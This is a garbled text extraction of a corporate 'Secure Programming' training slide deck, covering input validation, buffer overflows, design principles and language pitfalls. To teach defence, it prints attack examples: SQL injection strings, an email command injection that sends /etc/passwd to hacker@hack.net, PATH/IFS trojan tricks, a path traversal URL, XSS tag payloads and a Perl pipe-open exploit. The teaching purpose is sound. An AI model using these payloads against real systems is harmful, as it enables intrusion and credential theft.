Secure Programming

D. E. Shaw India Software Private Limited

Secure Programming

Sandeep Giri

Index


What Is Security?
 Confidentiality (also known as secrecy), meaning that
the computing system's assets can be read only by
authorized parties.
 Integrity, meaning that the assets can only be
modified or deleted by authorized parties in
authorized ways.
 Availability, meaning that the assets are accessible to
the authorized parties in a timely manner (as
determined by the systems requirements). The failure
to meet this goal is called a denial of service.

Index


Why Secure Programming?

Note: suid (set user ID) is a program which while running behaves as the owner of
the particular file not as the one who runs it.
setgid: set group ID
Index


What needs to be secured?
 Viewers of remote data
– For e.g. Browser,Applets,Email clients,Word processors
 Application programs used by the administrator
 Servers
– Local (daemons like syslog)
– Network-accessible servers (network daemons
ftpd,telnetd,apache,sendmail).
– Web-based applications(Sp. Case of above)
 Setuid/setgid programs (like passwd).

Index


HOW???

Index


The Key is:

“Paranoia is a Virtue”
Solutions follow….

Index


Index
 Validation of Inputs
– Examples
– Different types of inputs
 Buffer Overflows
 Structure Program Internals
 Sending Information Back Judiciously
 Language-Specific Issues
– C/C++
– Perl
– Shell Scripting Languages

Index


Validate All Input
Properly Check the input for valid data
Example:
SQLQUERY= “s e le c t s o m e thing fro m ta ble whe re us e rna m e =
‘”+ us e rid + ”’ a nd p a s s wo rd = ‘”+ p a s s wd + ”’”;
Input:
“a d m in’” will c o nv e rt the q ue ry into
“s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’’ a nd p a s s wo rd = ‘a ny thing ”
(N te ‘’ a fte r a d m in)
o

“a d m in’--” will c o nv e rt the q ue ry into
“s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’--’ a nd p a s s wo rd = ‘a ny thing ”
(N te e ve ry thing a fte r ‘--’ is c o m m e nte d )
o

Index


Validate All Input->

Another Example:
Code:
system("mail " . $form_data{"email"});

Exploit/Loophole:
Input:
http://server/script.cgi?email=
me@mydomain.com;mail hacker@hack.net</etc/passwd"

This will mail him a copy of /etc/passwd.
Index


Solutions/Suggestions:
 Determine what is legal and reject anything that does not match
that definition but not the reverse.
Following pattern for input may be enough:
[A-Za-z][A-Za-z0-9_,+@-.=]* or ^[A-Za-z]+(_[A-Za-z]+)? or

(.[A-Z]+(-[A-Z0-9]+)*)? or (@[A-Za-z0-9]+(=[A-Za-z0-9-]+) or

(,[A-Za-z0-9]+(=[A-Za-z0-9-]+))*)?$

 When accepting cookie values, check if the domain
value for any cookie you're using is the expected one.
 While parsing input, temporarily drop all privileges,
or even create separate processes

Index



Different Types Of User Input
 Environment variables
Input may be in the form of environment variables (e.g.
PATH,IFS etc.) inherited from parent process
Example Code:
Sy s te m (“d a te ”);
Exploit:
Se t PA to the c urre nt d ire c to ry a nd m a ke a
TH
tro ja ne d d a te c o m m a nd . N w , y o ur d a te c o m m a nd
o
will be e x e c ute d with p a re nts p rivile g e s .

Index


Validate All Input->types->environment variables->
 Yet Another Example
I - (Internal field separator, used to separate
FS
the command line arguments.)
Code:
Sy s te m (“/us r/bin/d a te ”);

Exploit/loophole:
se t IFS= ‘/’;
Now create a Trojaned program with name usr and set
PATH to current directory.Your ‘usr’ will be executed instead
of date because this command will be interpreted as
$ us r bin d a te
Index


Validate All Input->types->environment variables->

Solution:
Reset all the variables.
For example,
set IFS = ‘nt’
Always extract and erase environment variables
and set these according to your needs.

Index


Validate All Input->types->

 File Names
Common mistakes:
ftp> ls
*/../*/../*/../*/../*/../*/../*/../*/../*/../
*/../*/../*/../*

http://www.yourserver.com/cgi-bin/script?
config-file=../../../etc/passwd&user=guest
you shouldn't support ``wild-cards'', that is,
expanding filenames using ``*'', ``?'', ``[''
(matching ``]''), and possibly ``{'' (matching ``}'').
 File Contents
If a program takes directions from a file, it must not
Index


 Writing data to the file

When it is must to write the data from cgi script
(for example picture uploading script),
the file should not be in a executable/accessible
directory.

Index



 Web-Based Inputs (Especially CGI Scripts)
– Cross site scripting
Displaying the formatted text received from
another user may trick JavaScript(or Other
compts) and may result in befooling the current
user or crashing the browser.
Such vulnerabilities existed in most of the online
systems like: Yahoo,google, hotmail,indiatimes..
Quick Fix:
delete_every <script>….</script>
But it has got some problems…

Index


Validate All Input->types->Web based IO->

What If input includes tags like this:
– <sc<script></script>ript>evil-code()</sc<script></script>ript>

– <b onmousover="...">go here</b>
– <img [line_break] src="javascript:alert(document.location)">

– <a href="javascript#[code]">

– <div onmouseover="[code]">

– <img src="javascript:[code]">
– <img dynsrc="javascript:[code]"> [IE]

– <input type="image" dynsrc="javascript:[code]"> [IE]

– <bgsound src="javascript:[code]"> [IE]

List goes on …
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Validate All Input->types->Web based IO->

Solutions:
– Only allow a few tags,if it is must.like:

<p> ,<b> , <i>, <em>, <strong>, <pre> , <br>

– while displaying html as such convert

‘<‘ to < , > to >, & to &

– One may use his own type of tags

Ex m p le [im g ]. . [/im g ] (a s us e d by Ya BB)

– Accept only legal characters:

$summary =~ tr/A-Za-z0-9 .://dc;

– Remove Special characters

$s =~ s/[<>"'%;()&+]//g;

Can use PHP code to filter HTML posted by Konstantin Riabitsev:

Index http://www.mricon.com/html/phpfilter.html


Buffer Overflow – A Big Deal
A buffer overflow occurs when you write a set of values into a fixed length buffer
and write at least one value outside that buffer's boundaries (usually past its
end). A buffer overflow can occur when reading input from the user into a buffer,
but it can also occur during other kinds of processing in a program.

The Problem: Sample Execution
$ p ro g a bc
int main(int argc,char **argv) { abc
char buffer[100]; $ p ro g < v e ry lo ng s tring >
if(argc>1) core dumped (segmentation
fault)
strcpy(buffer,argv[1]);
$ p ro g “% s a nd e e p ”
printf(buffer)
<garbage>andeep
}
(format string problem)

Index


Buffer Overflow->

Exploit-Technique ( an overview )
EIP – Before a function is called, the address of
returning location is stored in EIP

Index

D. E. Shaw India Software Private Limited Buffer Overflow-> Suggestions:

Instead Of Use

Gets Fgets

Strcpy strncpy*,with NULLtermination

Strlcpy : a bit inefficient, fills with zeros

Strcat strncat*,with NULL termination

Strlcat : a bit inefficient

Printf With proper formatting e.g.: printf(“%s”,str); not printf(str);

Sprintf with length maximizing formatting. E.g.: Sprintf(buf,“%2s”,str);

Scanf with length maximizing formatting eg: scanf(“%5s”,str),

sscanf with length maximizing formatting

Index


Buffer Overflow->

Overflows can be avoided by using:
 Code Checking Utilities:
– flawfinder,RATS,ITS4, Slint

– Using Memory leak checking utilities like Memleak for VC++ available
at http://www.codeproject.com/useritems/leakfinder.asp
 Libraries like
– Libmib, C++ Std :: string, libsafe,glibc
 Compilers like :Stack Guard,Stack Shield
which check if return address is changed.
 OS like : Immunix OS ,Bastile Linux
Linux Variants,with low level security against bof
Index Other languages like Java,Perl,PHP



Structure Program Internals
 Software Engineering Principles
– Economy of mechanism/Simplicity.
KISS - keep it simple, stupid
– Open design.
Do not depend on attacker’s ignorance.
– Complete mediation.
Every access attempt must be checked
– Fail-safe defaults
The default should be denial of service
– Separation of privilege.
Defeating one protection system shouldn't enable
complete access.
Index


Structure Program Internals-> Software Engineering Principles->

– Least common mechanism.
Minimize use of shared mechanisms (e.g. use of the /tmp
or /var/tmp directories).
– Psychological acceptability / Easy to use
 Users will routinely and automatically use the
protection mechanisms correctly.
 Mistakes will be reduced if the security
mechanisms closely match the user's mental
image of his or her protection

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Structure Program Internals->

 Secure the Interface
 Separate Data and Control
 Minimize Privileges
Prevents problems due to accident, error, or attack.
Minimize:
– Granted privileges
– The Time the Privilege Can Be Used & is active
– The Modules Granted the Privilege
– the Accessible Data
– the Resources Available

Index


Structure Program Internals->

 Minimize the Functionality of a Component
 Avoid Creating Setuid/Setgid Scripts
 Configure Safely and Use Safe Defaults
 Load Initialization Values Safely
 Fail Safe
 Avoid Race Conditions/ Sharing violation
Anomalous behavior due to unexpected critical dependence on
the relative timing of events

Index


Structure Program Internals-> Sharing violation(due to racing)->

 A crude example:

Password Conflict.
 Another Example:

check(file);//checks if file has proper permissions
wait(sometime);
write(file,data); //writes data to file
What if file got changed in between checking and modifying data?
This generally happens with temporary file creation.
 Solution:

– Use locks on files

– Use open() function of C

– Create random name file/open using O_CREATE|O_EXCL

Index – Use tmpfile()


Send Information Back Judiciously
 Minimize Feedback
 Don't Include Comments
 Control Formatting (``Cross Site Scripting'')
 Prevent Include/Configuration File Access
<Files *.inc>
Order allow,deny
Deny from all
</Files>

Index


Language-Specific Issues
C/C++
 Biggest security problem with C and C++ programs is buffer overflow;

 C has the additional weakness of not supporting exceptions,

 Manual memory management(malloc,alloc,free,new delete)

 Be as strict as you reasonably can in declaring types.

use ``enum'' to define enumerated values (and not just a ``char'' or ``int''
with special values).

 Turn On Warnings to check overflows

gcc -Wall -Wpointer-arith -Wstrict-prototypes
-O2

You might want ``-W -pedantic'' too.

Index


Language-Specific Issues->C/C++ ->

 Detect format string bugs by including following

header file

/* in header.h */
#ifndef __GNUC__

# define __attribute__(x) /*nothing*/

#endif
extern void logprintf(const char *format, ...)

__attribute__((format(printf,1,2)));

extern void logprintva(const char *format,
va_list args)
__attribute__((format(printf,1,0)));

Index


Language-Specific Issues-> Perl
 read man page perlsec(1) first to learn taint mode (-T)

 open, glob, and back tick functions call the shell to expand
filename
 perl open() function comes with, frankly, ``way too much magic'‘

Example:
//open a file s which is specified by user.
O p e n(HA DLE, s );
N
Loophole/exploit: s=“|s o m e c o m m a nd ”
Solution: use sysopen() instead.
 turn on the warning flag (-w)

 It is recommended to use sudo instead of setuid version of Perl,
which is default in some cases.
Index In regex, switch /e – expression evaluation- is dangerous


Language-Specific Issues->

Shell Scripting Languages
 Never use as setuid/setgid
 On some systems,Fundamentally insecure
because prone to race condition

Index


I would again say:
“The Key - ”

Paranoia is a Virtue

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Questions?

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Thanks

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